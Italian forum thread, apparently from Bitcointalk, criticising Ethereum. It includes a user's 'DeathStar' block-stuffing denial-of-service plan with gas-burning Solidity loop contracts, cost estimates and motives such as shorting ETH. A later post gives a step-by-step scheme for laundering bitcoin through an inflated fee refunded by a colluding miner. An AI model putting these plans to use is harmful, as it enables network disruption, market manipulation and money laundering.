https://www.theverge.com/2021/8/23/22638087/poly-network-600-million-stolen-crypto-hack-restored-defi (https://www.theverge.com/2021/8/23/22638087/poly-network-600-million-stolen-crypto-hack-restored-defi)

Quando si scopre una vulnerabilità in un software, esistono delle linee di condotta che distinguono l'ethical hacker dal black hat. Se la vulnerabilità viene sfruttata lanciando un exploit in the wild, in conseguenza del quale qualcuno si ritiene danneggiato, quel qualcuno potrebbe cercare di identificare l'attaccante/i e rivalersi nei suoi confronti. Che è poi quello che è successo in diversi casi di hack di piattaforme defi. Altrimenti non si spiega come mai chi è riuscito recentemente a compiere un hack da 600M di $ si sia "pentito" e abbia deciso di restituire tutto. Forse perché ha avuto paura delle conseguenze legali? Altrimenti sarebbe da pazzi rinunciare a un bottino simile:

https://www.theverge.com/2021/8/23/22638087/poly-network-600-million-stolen-crypto-hack-restored-defi (https://www.theverge.com/2021/8/23/22638087/poly-network-600-million-stolen-crypto-hack-restored-defi)

Gli attacchi contro la Lira, o altre valute deboli, come nel caso Robinhood discusso prima sono una cosa diversa, perché avvengono esclusivamente sul piano finanziario e non comportano hackeraggi dei sistemi che tecnicamente permettono di scambiarle.

L'esempio che hai fatto non c'entra nulla, è totalmente diverso. In quel caso si è trattato di un furto, reato che è perseguibile in tutte le giurisdizioni del mondo.
L'idea di gbianchi invece è sfruttare una vulnerabilità del protocollo per andare short. Il protocollo è noto a tutti, è lì da studiare se a qualcuno interessa. Quindi tutti potrebbero fare questo short. Esattamente come tutti potevano shortare Lira e Sterlina nell'esempio che ho riportato io. E infatti Soros non ha subito nessuna conseguenza per averlo fatto, come del resto nulla accade ai milioni di trader che shortano ogni giorno.
Soros ha shortato perché era convinto della debolezza di Lira e Sterlina?
Bene, gbianchi può shortare Eth usando DeathStar perché è convinto della debolezza di Eth.
E' la stessa cosa, più che lecito farlo.

Se non fossi convinto resterebbe la domanda che facevo prima. Quale reato pensi che potrebbe compiere chi attivasse DeathStar? in quale giurisdizione sarebbe previsto? se non si risponde a questa domanda è inutile porsi il problema.

L'operazione in se secondo me dovrebbe essere solo volta ad utilizzare una debolezza del protocollo.

escludendo lo short e la speculazione economica resta in pratica un ottimo esercizio per chi vuole smanettare con la rete ETH, di cui oltre ai costi abnormi non sappiamo nulla di cosa possa succedere.
quale vantaggio porterebbe una cosa del genere?

esistono varie fattispecie di reato in ambito informatico, al di là di un furto che fra l'altro non è scontato che sia definibile come tale, in una piattaforma decentralizzata in cui non è immediato associare un'identità alla proprietà di un indirizzo. Quale potrebbe essere la parte lesa? Magari qualche exchange, nella giurisdizione in cui ha sede, se un eventuale crollo dovesse essere così rapido e consistente da non riuscire a chiudere in tempo posizioni long senza lasciare buchi. Magari lo stesso exchange che stai usando per shortare (dato che farlo su DeFi mentre il network è bloccato sarebbe proibitivo), se ritenesse violati i suoi termini di servizio che hai dovuto sottoscrivere per poterti registrare, ecc.
...

Continuo a non considerarla una casistica valida. Se l'exchange ti consente di andare short, non è un problema tuo né suo se il book ad un certo punto si svuota, diventa un problema di chi aveva posizioni contrarie, è lui che ci rimette, non l'exchange.

Riguardo la parte che ho evidenziato: è anche questa una casistica non reale. Ricordo che qualsiasi exchange gestisce gli scambi su un proprio motore interno, non certo on chain. On chain ci va solo quando prelevi. Quindi non esiste la possibilità che un movimento di chiusura long possa non essere fatto a causa della congestione della rete, poiché non sarebbe fatto sulla rete. Al massimo dovresti aspettare per il prelievo, ma voglio vedere qualcuno farmi causa perché la rete è lenta, anche se la lentezza fosse addebitabile a me. Qualcuno ha mai fatto causa per chi ha iniziato a vendere i cryptokitties?

3.3.3 DoS with Block Stuffing (V31
). This vulnerability was first observed from the Fomo3D contract [23].
The vulnerability entails only the attacker's transactions being included in the newly mined blocks
while others are abandoned by miners for a period of time. This can happen when the attacker offers a higher
gasPrice to incentivize the miners to select the attacker's transactions. This vulnerability is caused by the greedy
mining incentive mechanism. At the moment of writing, there is no solution to prevent this vulnerability.

// questa versione poco prima di finire il gas si ferma,
//  lasciando un piccolo margine di gas per eseguire le istruzioni di return senza errore
pragma solidity ^0.6.0;
contract DeathStar_a
   {
   function DeathLoop_a() public payable returns (bool)
      {
      uint left = 0;

      while(true)
              {
              left = gasleft();

              // poco prima di finire il gas si ferma,
              //  lasciare un piccolo margine di gas per eseguire le istruzioni di return senza errore
              if (left < 1000)
                {
                break;
                }
              }

      return(true);
     }
   }

// questa versione cicla fino ad arrivare all'errore out of gas.
pragma solidity ^0.6.0;
contract DeathStar_b
   {
   function DeathLoop_b() public payable returns (bool)
      {
      while(true)
              {
              }

      return(true);
     }
   }

L'unica cosa che mi viene al momento da aggiungere è che ho provato a monitorare un po' il prezzo del gas, e la tua stima di 50 gwei mi pare troppo ottimistica:

https://etherscan.io/gastracker (https://etherscan.io/gastracker)

Ho visto in condizioni normali dei valori intorno a 80-100, con picchi oltre i 200. Se il network venisse effettivamente paralizzato da un attacco prolungato, schizzerebbe in breve a valori inimmaginabili, rendendo l'attacco stesso ordini di grandezza più costoso e non sostenibile a lungo.

Sì è cambiata la narrativa sul discorso delle fee ma la sostanza non è per niente cambiata e anzi London non ha portato a nessun vantaggio in tal senso.
L'unica (per loro) è aspettare l'avvento di Ethereum 2.0 con il passaggio al Proof-of-Stake.

Sì è cambiata la narrativa sul discorso delle fee ma la sostanza non è per niente cambiata e anzi London non ha portato a nessun vantaggio in tal senso.
L'unica (per loro) è aspettare l'avvento di Ethereum 2.0 con il passaggio al Proof-of-Stake.
A oggi forse l'unica cosa buona di London che mi trova un po' d'accordo è avere per lo meno arginato il problema della mancanza di cap all'emissione.
Non riesco a reggere gli eth lovers quando parlano di ETH meglio di bitcoin in termini di hard money, mi sembra una bella cavolata.
Di nuovo grazie per l'ottimo lavoro gbianchi.

Direi che è ufficiale: il London fork non ha risolto nulla...

su un totale di 4400 nodi, quelli in sync sono solo 3200.

Tra l'altro anche i nodi stanno calando vistosamente: sono 3600 in totale di cui solo 3000 in sync
il 13 agosto avero rilevato questi valori:

Ma con segwit + LN io sono certo che per Bitcoin e' il passato.

Per ETH ... e' il futuro

This article follows a previous piece that began detailing how Ethereum echoes the Bitcoin Blocksize Wars.

Bitcoin Cash, the last serious iteration of the major Bitcoin hard fork attempts, was underway in 2017. Alternative cryptocurrency network Ethereum was also rising for the first time, on the back of initial coin offering (ICO) hysteria.

Although Bitcoin Cash’s market value briefly flippened Ethereum in late 2017, it’s clear today that the network effects around Ethereum are much greater than Bitcoin Cash.

In some ways, Ethereum is the next logical iteration of the Bitcoin hard fork attempts.

After all, many big block supporters are also fans of Ethereum.

“We need to move NFTs onto the Layer 2 ecosystem to cut fees. However, doing that *right* requires good cross-rollup portability standards, so the ecosystem can avoid getting locked into one particular L2.” - Vitalik Buterin, Creator of Ethereum

Many people are familiar with the recent none-fungible token (NFT) craze that has occurred over recent months, with digital images of rocks and pixelated characters selling for millions of dollars. Bubble, fad, or the start of something much bigger? That, we cannot know, and we aren’t going to discuss the validity of NFTs as an investment (read: speculation) in today’s Daily Dive, but rather we are going to dive into the comparison of Bitcoin versus Ethereum as monetary settlement networks, as Ethereum proponents have attempted to frame ETH as “ultrasound money” increasingly over the course of 2021.

Today, we will examine various metrics comparing the volume and efficiency of settlement on the base layer of the Bitcoin and Ethereum networks.

https://bitcointalk.org/index.php?topic=431513.20

If CPU usage to verify a transaction is NOT related to the transaction size, then you open yourself up to denial-of-service attacks. Like:

Create an Ethereum transaction with a (huge!) fee that will pay for 60 seconds of CPU execution time.
... but craft it so execution takes 61 seconds (or, heck, make it an infinite loop, maybe you'll tickle a bug in the execution termination code).

Now broadcast it.  It will be rejected for insufficient fee, but only after peers have wasted 60 seconds of CPU time. And if the transaction is rejected, the attacker won't pay the fee.

é, in practice la medesima idea di  gbianchi sul block stuffing. Nota dal 2014: mai sfruttata.

Arbitrum is a Layer-2 solution for the Ethereum network that makes smart contracts scalable, fast, and private.
Arbitrum is interoperable with Ethereum, the most popular blockchain.
It allows dApp developers to easily run Ethereum-based contracts on a second layer.
Users can easily transfer Ether (ETH), or any other Ethereum-based token between Ethereum and Arbitrum, at lower costs.

sia arbitrum che solana hanno avuto problemi enormi oggi.

client out of memory, network praticamente paralizzate.

Ovviamente non e' successo un bel nulla.

<…>
Bitcoin is a huge bet but while I don’ know if in 10 years bitcoin would be worth 1 million or zero (or course I have an idea), I am absolutely sure that in 10 years every present shitcoin (all of them, but bitcoin) will be worth ZERO.
<…>

@gbianchi, scusami il ritardo, ma ultimamente sono molto impegnato.
Ti ho inviato via PM la copia del messaggio tradotto e formattato.
Fammi sapere se vuoi ulteriori modifiche.

ottimo lavoro, grazie.

Io al nuovo articolo messo un titolo un po' piu' "perentorio"

"Una strategia di attacco alla rete ethereum basata sulla tecnica BlockStuffing e lo smart contract DeathStar"

perche' l'altra volta era un'ipotesi, questa volta invece e' una certezza, corredata di parecchia documentazione e riferimenti,
ma ho visto che hai lasciato il vecchio titolo. C'e' un motivo?

Una strategia di attacco alla rete ethereum basata sulla tecnica BlockStuffing e lo smart contract DeathStar

An attack strategy on the Ethereum network based on Block Stuffing technique and the Deathstar smart contract.

C'è un problema di formattazione con un /list] di troppo nella seconda sezione.

A parte questo, mi aspetto che l'obiezione che verrà sollevata è nella stima di 100 gwei per il costo del gas: dal monitoraggio della rete che ho fatto nelle ultime settimane, mi aspetterei che in caso di congestione prolungata il valore possa schizzare di almeno un ordine di grandezza, rendendo l'attacco ancora più proibitivo e non sostenibile troppo a lungo.

Per fare una stima del costo necessario, considerare che viene minato un blocco ethereum ogni circa 15 secondi.
Stimando la dimensione del blocco media di 15.000.000 di gas, e un costo gas di 100 gwei, sono circa 1.5 ethereum per blocco.
Aggiungendo una fee del 10% per essere i piu' competitivi, potremmo stimare un costo per blocco di circa  1.65 ethereum.
A questo costo del gas, al cambio attuale di circa 4000$ per un eth un attacco della durata di 60 minuti verrebbe a costare circa 400 ethereum
ossia circa 1.600.000$ una cifra molto ridotta in rapporto al valore della rete di centinaia di miliardi di dollari

grazie! dovrei averlo sistemato

ooops, mi sa che si è spostato nella sezione successiva :D

Un gruppo di attaccanti potrebbe essere incentivato per svariati motivi a bruciare ethereum per mettere in difficolta' la rete, ad esempio:

- ad esempio essere i sostenitori di un'altra moneta competitor, non soggetta a queto tipo di problema (ad esempio Bitcoin)
- oppure organizzare  uno short su ethereum prima dell'attacco, congestionare la rete ethereum e ricoprirsi a prezzi piu' bassi,
  recuperndo i soldi dell'attacco e guadagnandoci
- rallentare e/o indirizzare a proprio vantaggio uno o piu' degli svariati smart contract che girano su ethereum, ad esempio 
  posticipare l'esecuzione di altri smart contract per avvantaggiarsi di certe condizioni
  (estrazioni a premi, aste online, ICO, transazioni finanziarie su DEX, Defi, ecc... come e' gia' stato fatto [2])
 
In generale qualsiasi persona o gruppo con sufficenti mezzi e con un qualsiasi tipo di interesse alla decadenza della rete ethereum
e/o degli smart contract che vi girano, potrebbe usare questa linea di attacco.

no, ho controllato con la versione originale italiana, c'erano 3 punti di esempio, e poi sotto,
non tra i punti, la descrizione generale. Pensi che sia concettualmente sbagliato ragruppare cosi'?

intendevo che sotto "Examples Code of DeathStar code" vedo un tag list di chiusura, come se mancasse quello di apertura

Forse l'ho sistemato definitivamente...  ma c'erano una serie di list innestati che non ci giurerei :)
Grazie!

Non so se vi siete chiesti perche' non architettare un attacco di block stuffing anche su bitcoin.

Teoricamente, anche se il blocco e' abbastanza grande,  le fee totali delle transazioni dentro
ad un singolo blocco non  sono poi cosi' alte, quindi in linea di principio la cosa potrebbe essere fattibile
ossia applicare il concetto di "comprare" tutto lo spazio in un sigolo blocco bitcoin.

Vero, ma c'e' da dire che bitcoin non deve gestire smart contract programmabili.
questo permette ad ogni nodo di controllare tutte le transazioni PRIMA di essere minate,
e non DOPO.

I dettagli sono alquanto complessi, ma capite bene che il fatto di poter controllare le
transazioni PRIMA di fare il broadcast in rete (e quindi prima di diffenderle in mempool)
fa veramente la differenza. Cio'' non vuol dire che sia impossibile architettare un DoS per bitcoin,
ma che e' sicuramente enormemente piu' complicato.

In una rete che accetta smart contract, controllare PRIMA vorrebbe dire che ogni nodo
deve eseguire gli smart contract appena li riceve, e quindi sarebbe poi facilmente vittima
di ogni tipo di loop. Insomma un problema dal quale non si esce.

cosi' giusto per....

nella sezione altcoin ho trovato questa perla di oggi:

Bitfinex Today Spent Almost $23.6 Million Fees For a Single Ethereum Transaction
https://bitcointalk.org/index.php?topic=5362728.0

a giudicare da etherscan sembra vero:

https://etherscan.io/tx/0x2c9931793876db33b1a9aad123ad4921dfb9cd5e59dbb78ce78f277759587115

Transaction Fee: 7,676.619078292762408538 Ether ($22,808,310.01)

Mah,
quando vedo queste cose sono sempre MOLTO dubbioso.
Non ho idea di come funzioni ETH, ma quando queste cose accadono su Bitcoin una ragione sotto c'è: tipocamene si vogliono "Ripulire" degli UTXO sporchi.... facendoli confluire in una mining fee.
Comunque sono cose successe parecchie volte anche su BTC, quindi srtarei attento ad usare questo esempio come sintomo di qualche problema sulla rete ETH.

potresti spiegare un po' meglio il sottolineato?
ok paghi una fee piu' alta in modo che la transazione venga processata prima, ma cosi' alta?

Ho 100 bitcoin "sporchi", che voglio riavere "puliti".

Come faccio a "ripulirli"? ovvero ad averli separandoli dalla "storia" compromettente degli UTXO?

Mi accordo con un miner, un gestore di una pool..
Gli mando 20 BTC che lui si intasaca.
Gli mando una transazione, solo a quella pool, dove trasferisco 0.001 BTC con 79.999 BTC di Fees.
Il miner costruirà un blocco includendo nella pool la transazione incriminata. Ovviamente avendo questa transazione saltato la mempool, non c'è rischio che venga inclusa da un altro miner.
Alla fine la transazione viene minata.

80 BTC di fees per solo 0.''1!é chiaramente un errore!

Il minerche ha minato il blocco, onestissimo,  mi restituisce, dalla coinbase, i 79.999 BTC intascati.

Voilà, ho 79.999 BTC "Puliti"

"Lo fanno, lo fanno!" (cit.)

Mah,
quando vedo queste cose sono sempre MOLTO dubbioso.
Non ho idea di come funzioni ETH, ma quando queste cose accadono su Bitcoin una ragione sotto c'è: tipocamene si vogliono "Ripulire" degli UTXO sporchi.... facendoli confluire in una mining fee.
Comunque sono cose successe parecchie volte anche su BTC, quindi srtarei attento ad usare questo esempio come sintomo di qualche problema sulla rete ETH.

devi fidarti molto di quella pool eh...

cosi' giusto per....

nella sezione altcoin ho trovato questa perla di oggi:

Bitfinex Today Spent Almost $23.6 Million Fees For a Single Ethereum Transaction
https://bitcointalk.org/index.php?topic=5362728.0

a giudicare da etherscan sembra vero:

https://etherscan.io/tx/0x2c9931793876db33b1a9aad123ad4921dfb9cd5e59dbb78ce78f277759587115

Transaction Fee: 7,676.619078292762408538 Ether ($22,808,310.01)

Ho 100 bitcoin "sporchi", che voglio riavere "puliti".

Come faccio a "ripulirli"? ovvero ad averli separandoli dalla "storia" compromettente degli UTXO?

Mi accordo con un miner, un gestore di una pool..
Gli mando 20 BTC che lui si intasaca.
Gli mando una transazione, solo a quella pool, dove trasferisco 0.001 BTC con 79.999 BTC di Fees.
Il miner costruirà un blocco includendo nella pool la transazione incriminata. Ovviamente avendo questa transazione saltato la mempool, non c'è rischio che venga inclusa da un altro miner.
Alla fine la transazione viene minata.

80 BTC di fees per solo 0.''1!é chiaramente un errore!

Il minerche ha minato il blocco, onestissimo,  mi restituisce, dalla coinbase, i 79.999 BTC intascati.

Voilà, ho 79.999 BTC "Puliti"

"Lo fanno, lo fanno!" (cit.)

si xo' transazioni cosi' sono abbastanza sospette.No?
poi la I di ETH, etherscan dice che e' un indirizzo Bitfinex, perche dovrebbe fare una transazione con $23.6 Million Fees ???  doveva arrivare molto in fretta  ;)

Saranno anche sospette ma..... "marescià, mi sono sbagliato!"   ;)
Scherzi a parte, se ci pensi è la ripulitura perfetta: puoi davvero dire che hai sbagliato a impostare manualmente la tx. Non sarà questo il caso (visto che con Bitfinex sarebbe una scusa davvero difficile da accettare), ma se l'avesse fatta un altro perché no?  come puoi confutare qualcuno che ti dice che ha fatto un errore ?

Comunque per capire se sia andata come dice @fillippone basterebbe riuscire a vedere la mempool poco prima di quel blocco: se NON fosse presente la tx allora sarebbe vera l'ipotesi che ha fatto.

E come fai a vedere “la mempool”.
Mempool é un concetto piuttosto astratto: ogni nodo vede una mempool diversa, a seconda delle transazioni che lo raggiungono. Non c’é consenso sulla mempool…proprio perché non é nella blockchain.

Tra l'altro anche i nodi stanno calando vistosamente: sono 3600 in totale di cui solo 3000 in sync
il 13 agosto avero rilevato questi valori:

aggiorno i dati da https://www.ethernodes.org

2600 nodi totali
2196 in sync.

da agosto ad ora i nodi sono calati di circa il 40%

Sembra voler toccare $ 5.000, almeno ci sta provando...  :-[

Non so bene se era quello che voleva dire Paolo, ma il fatto che ETH sia sempre più congestionato, centralizzato e non funzionante, con il prezzo che invece ai massimi, anche se verso USD (siamo ben lontani dai massimi contro Bitcoin), la dice lunga sul fatto che nessuno usa ETH se non come asset speculativo.

Bitcoin invece e' in uno stato di salute spettacolare:

Comunque scherzi a parte: occhio che l’argomentazione “fees alte= successo, fees basse= insuccesso” è quello che veniva usato per decretare l’insuccesso di ETH.
Quindi qualcuno potrebbe obiettare: “ le fees di ETH sono alte, perché c’è molta domanda per transare su ETH, e nessuno su BTC.
Che poi tecnicamente sarebbe pure vero.

Quello che non è vero è il corollario!

allora non intervengo molto in questo topic perche ETH al momento, con queste fee assurde, non mi piace
mi piacciono gli SC e le altre diavolerie, ma le fee esagerate no

cmq vengo al punto
abbiamo un thread lista di tutti i second layer di btc? credo sia utile

abbiamo un thread lista di tutti i second layer di btc? credo sia utile

In questo post (che non ho ancora letto appronditamente)
Buterin ammette che in futuro i nodi ethereum per funzionare andranno verso una
progressiva centralizzazione

https://vitalik.ca/general/2021/12/06/endgame.htm

la cosa bella e' che continua a dire "secondo il mio standard"
(ma come il MIO standard?) questo e' accettabile
perche le cose importanti sono altre!

una di queste cose importanti e' "prevent censorship".
Peccato che lui stesso abbia deciso anni fa di fare una hard fork
proprio per censurare una transazione.

Insomma, il tutto mi sembra che abbia preso una direzione veramente delirante,
spiegata dal fatto che NON esistono soluzioni tecniche a quello che vorrebbero fare.

Ovviamente nonostante le fee alle stelle e Buterin che ormai ammette che il futuro della rete e' centralizzato
la gente continua a investire pesantemente su quella rete.

Evidentemente si fermeranno solo quando esplodera'.

E io SCOMMETTO che esplodera'.

se la vedi come investimento short o mid term, della centralizzazione non ti interessa una mazza

In questo post (che non ho ancora letto appronditamente)
Buterin ammette che in futuro i nodi ethereum per funzionare andranno verso una
progressiva centralizzazione

https://vitalik.ca/general/2021/12/06/endgame.htm

la cosa bella e' che continua a dire "secondo il mio standard"
(ma come il MIO standard?) questo e' accettabile
perche le cose importanti sono altre!

una di queste cose importanti e' "prevent censorship".
Peccato che lui stesso abbia deciso anni fa di fare una hard fork
proprio per censurare una transazione.

Insomma, il tutto mi sembra che abbia preso una direzione veramente delirante,
spiegata dal fatto che NON esistono soluzioni tecniche a quello che vorrebbero fare.

Ovviamente nonostante le fee alle stelle e Buterin che ormai ammette che il futuro della rete e' centralizzato
la gente continua a investire pesantemente su quella rete.

Evidentemente si fermeranno solo quando esplodera'.

E io SCOMMETTO che esplodera'.

Io pure sono con la tua scommessa. Ho la mia posizione aperta su eth, non lo nascondo, ma appena c'è da saltare dal treno, si salta.

Non lo chiamerei “investimento”, proprio perché, come dici tu stesso, non ci punteresti nel lungo periodo.
Allora é solo gambling money. A quel punto puoi avere qualsiasi oggetto con una certa volatilità che diventa buono per il trading.

Quindi funzionera' solo il meteorite, e se arriva il meteorite, non si salva nessuno.

@gbianchi:  ammetto di NON aver letto l'articolo ma quando ho visto il titolo mi è subito venuto in mente questo thread   ;)

https://blog.dshr.org/2022/04/ethereum-has-issues.html (https://blog.dshr.org/2022/04/ethereum-has-issues.html)

attenzione a questo:

steth

E' un token che dovrebbe avere il peg con eth e invece l'ha perso ai tempi del disastro terra luna,
non l'ha piu' ripreso e ora sta prendendo una bruttissima piega.

attenzione a questo:

steth

E' un token che dovrebbe avere il peg con eth e invece l'ha perso ai tempi del disastro terra luna,
non l'ha piu' ripreso e ora sta prendendo una bruttissima piega.

e chissà quanti altri ce ne sono. Tutte le defi sulle varie chain hanno vari token sintetici che replicano quelli di altre chain. La morte di Luna ha inevitabilmente decretato la morte di tutti questi altri token

Se ethereum rimanda ancora il merge, sprofonda.

Sei davvero convinto di questo?

attenzione a questo:

steth

E' un token che dovrebbe avere il peg con eth e invece l'ha perso ai tempi del disastro terra luna,
non l'ha piu' ripreso e ora sta prendendo una bruttissima piega.

Vitalik Buterin rivela di essere preoccupato per il livello di decentralizzazione della blockchain Ethereum dopo il Merge

Lo ha fatto durante un’intervista rilasciata a Fortune, quando gli è stata posta la domanda esplicita se avesse dubbi sul Merge, 
ed in particolare per quanto riguarda Lido Finance ed il rischio di centralizzazione. 

Infatti, Lido Finance è il maggior fornitore di servizi di staking per Ethereum 2.0, tanto che ad oggi vi sono depositati circa un terzo degli ETH in staking (stETH). 

La risposta di Buterin è stata chiarissima: 

    “Sì. Voglio dire, sono decisamente preoccupato”. 

Poi ha continuato affermando di ritenere questo uno dei problemi più importanti che stanno considerando in questa fase di passaggio al nuovo algoritmo di consenso. 

A tal proposito conviene specificare che il Proof-of-Stake (PoS) si basa sul concetto che chi possiede ETH e li mette in staking può convalidare le transazioni. 
Questo significa di fatto che chi ne possiede di più e ne mette di più in staking convaliderà più blocchi. 

La risposta di Buterin è stata chiarissima:

    “Sì. Voglio dire, sono decisamente preoccupato”.

Altro articolo sulle debolezze di Ethereum:

https://twitter.com/yaish_aviv/status/1555445499041300481 (https://twitter.com/yaish_aviv/status/1555445499041300481)

La vedo nera.

Mi state mettendo un pò di paura, holdo ETH da marzo 2021 ormai, non ho venduto neanche a 4,5k ora visto che è forte contro BTC ne converto un pò per mediare il rischio. Questo passaggio a POS dal primo momento mi è sembrata una stronz** colossale molto alla greta e amici degli animali, oltre al fatto che il rischio di centralizzazione come già detto è abbastanza alto. Ok il fork e l'eip1559 per diminuire le fee, però chissà come andrà a finire il giorno in cui il passaggio sarà completato.

Non so davvero cosa consigliarti. Non ho mai avuto ETH, ma forse la risposta alla tua preoccupazione è già in questa mia affermazione.
Come diceva quel tale: “Non vado a letto con le puttane, non mi sveglio con le puttane”.